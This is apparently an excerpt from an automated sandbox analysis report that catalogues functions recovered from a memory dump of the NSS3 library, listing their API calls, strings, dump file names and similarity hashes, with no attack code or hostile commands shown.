Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C68ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C68ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AD23

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AD39

Strings

hSession = 0x%x, xrefs: 6C68ACFE, 6C68AD0E
C_MessageDecryptFinal, xrefs: 6C68ACE1
nvl, xrefs: 6C68AD51, 6C68AD7B
(CK_INVALID_HANDLE), xrefs: 6C68AD1C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nvl
API String ID: 332880674-330980815
Opcode ID: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction ID: ba6031fb8856be6d5744ec77cf8d1ff17a54fd97165969be7e65d26683861df6
Opcode Fuzzy Hash: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction Fuzzy Hash: 4621D7716021589FDB109F64DE8CFAA37B5AB4631DF044435ED09EBB92DB309908C7AE

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(367FFC63), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

database corruption, xrefs: 6C5F7EE2, 6C5F7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
